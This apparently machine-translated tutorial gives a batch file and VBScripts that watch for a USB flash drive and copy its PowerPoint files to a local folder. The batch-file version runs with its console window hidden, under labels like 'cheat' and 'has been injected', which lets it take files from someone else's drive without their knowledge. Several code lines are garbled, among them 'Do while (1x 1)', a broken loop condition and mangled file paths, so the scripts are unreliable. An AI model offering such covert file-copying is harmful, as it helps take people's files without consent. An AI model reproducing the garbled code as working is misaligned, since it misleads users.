How to copy the contents of USB disk automatically by vbs
This article mainly introduces vbs how to automatically copy the content of U disk, has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, the following let the editor take you to understand it.
The idea is very simple, high-level things do not have any technical content, just quote a few functions or methods. At first I used batch processing (if you insert the flash drive with the letter J, save the courseware on disk F) open notepad and type the following:
The copy code is as follows:
: cheat
Ping 127.0.0.1 > nul
If exist J:\ * .ppt (copy J:\ * .ppt F:\ & & exit) else goto cheat
Save as main.bat, this file is enough to achieve this function, but I can't think of any DOS command to hide the command prompt interface, so I have to write a vbs script to do this:
Open notepad and type:
The copy code is as follows:
Set wshshell=createobject ("wscript.shell")
Wshshell.run "main.bat", 0
Msgbox "has been injected", 48, "Night Moon"
Wscript.quit
Save as starter.vbs, and note that this file should be placed in the same directory as main.bat. Then double-click starter.vbs to run.
Later, I thought I could make it a little better with the vbs script, but I haven't played with it for a long time. I don't even know how to use inputbox. I tried it several times to make it better. It's convenient to open your notepad and type:
The copy code is as follows:
On error resume next
Dim udrive,dfold,src,ptr
Set fso=createobject ("Scripting.FileSystemObject")
Do
Udrive=inputbox ("Please enter the flash drive letter as follows", "user instruction", H)
Loop until (udrive "B")
Dfold=inputbox ("Please enter destination folder", "user directive", "F:\ Temp")
If (not fso.folderexists (dfold)) then
Fso.createfolder (dfold)
End if
Src=udrive + ":\ * .ppt"
Ptr=dfold + "\"
Do while (1x 1)
If fso.driveexists (udrive) then
Fso.copyfile src,ptr,true
Set fso=nothing
Wscript.quit
End if
Wscript.sleep 2000
Loop
Save the above content as xue.vbs, double-click and run it.
Thank you for reading this article carefully. I hope the article "how to automatically copy the contents of U disk from vbs" shared by the editor will be helpful to everyone. At the same time, I also hope that you will support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!